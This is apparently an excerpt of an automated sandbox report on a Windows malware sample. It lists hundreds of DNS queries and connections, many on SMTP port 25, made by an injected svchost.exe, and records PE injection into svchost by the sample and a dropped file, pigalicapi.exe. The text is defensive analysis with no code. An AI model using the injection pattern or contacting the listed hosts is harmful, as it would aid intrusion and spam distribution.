Source: C:\Windows\SysWOW64\svchost.exe	Domain query: hyab.se
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: zemarmot.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 204.15.134.44 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 157.7.107.49 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: thiessen.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.237.66.112 443
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 89.107.169.125 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: samtv.ro
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 23.185.0.4 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: techtrans.de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: calvinly.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ftchat.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 52.19.230.145 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kavram.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: webavant.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.156.49 443
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 35.168.185.204 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 91.201.52.102 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: yasuma.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: koz1.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 79.96.32.254 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 4locals.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 153.122.170.15 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: johnlyon.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 65.52.128.33 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 69.89.107.122 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.18.40.43 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 192.124.249.13 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 192.124.249.14 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 192.124.249.15 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 142.250.157.26 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 192.124.249.12 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: from30ty.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bigzz.by
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 43.246.117.171 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: vonparis.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 217.160.0.179 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: envogen.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: x96.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kairel.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: com-edit.fr
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 135.125.108.170 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: linac.co.uk
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 165.160.15.20 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: noblesse.be
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bossinst.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: redgiga.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: absblast.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 199.59.243.222 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: riwn.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: t-mould.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: geecl.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: toundo.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dbnet.at
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ktenergo.ru
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 91.220.211.163 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: juso-gr.ch
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 31.177.76.70 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 142.250.157.27 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.129.138.60 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 91.216.241.100 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 62.75.216.107 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: midap.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: smitko.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 52.128.23.153 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 80.82.115.227 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: yhsll.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: anteph.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mikihan.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ramkome.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: wahw.com.au
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 23.227.38.32 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 205.178.189.131 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 51.89.6.56 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.189.227 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: gbmfg.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: orlyhotel.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 27.0.174.59 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 183.181.82.14 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: t-trust.jp
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 54.209.32.212 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 23.225.40.19 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 62.75.251.116 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: pro-fa.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.48.207 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: forbin.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 157.7.231.224 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: univi.it
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cutchie.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 35.230.155.43 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 3.64.163.50 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: smtp.live.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: grlawcc.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 35.169.15.168 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 151.101.2.132 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 66.163.170.48 25	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: coxkitchensandbaths.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: invictus.pl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: holp-ai.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: shittas.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 198.49.23.145 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bible.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: missnue.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 203.137.75.45 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: jsaps.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 153.126.211.112 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 217.160.0.131 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: haigh-me.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 49.212.243.77 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 198.49.23.144 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 83.223.113.46 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: canasil.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 69.195.90.46 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 83.167.255.150 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cpmteam.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kevyt.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: awfraser.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 85.128.196.22 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: s5w.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: in1.smtp.messaginguser.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: paraski.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 35.186.238.101 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 109.71.54.22 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: adventist.ro
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 219.94.129.97 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 49.212.232.113 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 74.208.215.145 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: isom.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: any-s.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 54.36.175.146 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: piacton.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 77.78.104.3 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ciicsc.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: akr.co.id
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: shztm.ru
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 192.124.249.9 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 15.204.18.132 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: metaforacom.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dhh.la.gov
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 31.177.80.70 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cbras.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: atbauk.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 195.5.116.23 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: biosolve.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 203.0.113.0 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 208.100.26.245 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 142.250.27.27 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: hbfuels.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 142.250.27.26 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: atis-sk.ca
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mackusick.de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cvswl.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cubodown.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: infotech.pl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: smtp.sbcglobal.yahoo.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 61.200.81.23 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: tabbles.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cqdgroup.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.muhr-soehne.de
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.189.68 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 63.251.106.25 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: fortknox.bm
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 85.233.160.148 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 212.44.102.57 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: camamat.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ikulani.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cjborden.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 95.174.22.233 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: fundeo.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: lpver.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.151.30.147 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 199.34.228.78 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: web-york.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: fr-dat.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 35.172.94.1 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 195.128.140.29 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: beafin.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: stopllc.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 159.89.244.183 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 38.111.255.201 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dzm.cz
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: oozkranj.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 204.11.56.48 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: arowines.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: rast.se
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: fifa-ews.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: hazmatt.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: aba.org.eg
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 47.91.167.60 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: wanoa.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: shiner.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 219.94.128.87 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.234.121 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 93.187.206.66 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 82.208.6.9 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kustnara.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: msl-lock.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: apcotex.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 54.161.222.85 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 192.169.149.78 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 183.90.232.24 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: epc.com.au
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: slower.it
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: okashimo.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 85.128.55.51 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 34.224.10.110 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: c-drop.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: jnf.at
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: top1oil.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 3.18.7.81 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mjrcpas.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kumaden.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 81.169.145.175 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: daytonir.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: iranytu.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.42.105.162 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: banvari.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 45.142.176.225 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ccrsi.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: snf.it
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cbaben.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: anduran.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sinwal.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: likangds.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: h-et-l.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 192.64.150.164 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kursavto.ru
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.209.11 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: rkengg.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: madjek.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: wolffkran.de
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 103.4.16.43 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: wnit.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ntc.edu.au
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: captlfix.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: acraloc.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: popbook.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: eos-i.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: revoldia.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: uhsa.edu.ag
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: atb-lit.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: amele.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: skgm.ru
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: pleszew.policja.gov.pl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: icd-host.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 54.212.145.129 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 13.56.33.8 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: burstner.ru
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 52.211.245.146 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 35.154.163.204 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: xinhui.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: aluminox.es
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mijash3.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 219.94.128.216 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: xult.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mail.protonmail.ch
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: shanks.co.uk
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 138.201.65.187 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.jchysk.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 23.239.201.14 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: vivastay.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 59.106.13.169 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 49.212.235.175 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: e-asset.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 52.0.29.214 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 193.70.68.254 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 77.72.4.226 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: plaske.ua
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: touchfam.ca
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 154.88.50.199 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.yumgiskor.kz
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 94.100.180.31 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: indonesiamedia.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.235.32 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: a-domani.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: nettlinx.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 52.50.65.32 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: softizer.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 176.119.200.128 25	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: rokoron.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: k-nikko.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 54.250.32.94 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: gbp-jp.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: doggybag.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 213.175.217.57 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 18.197.121.220 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 148.72.176.26 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: htsmx.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.156.237 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dwid.de
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 59.106.13.181 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: skypearl.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ludea.cz
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 188.114.96.3 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 217.79.248.38 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: esmoke.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 78san.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.150.50 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 45.200.235.135 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: agulatex.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: gcss.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 64.18.191.61 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 79.96.161.192 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.178.208.141 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.66.220 443
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 66.111.4.70 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 66.111.4.71 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 148.130.4.196 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: alt4.gmail-smtp-in.l.google.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: leapc.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: magicomm.co.uk
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: nolaoig.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.106.129.180 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.64.147.213 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mkm-gr.com

Writes to foreign memory regions

Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 2B21008	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 2D98008	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 28E8008	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\pigalicapi.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 400000 protect: page execute and read and write			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 7EDB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 13140000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 13140000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 13140000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 7E670000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 13140000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 13140000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 13140000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 7E520000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 13140000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 13140000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 13140000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

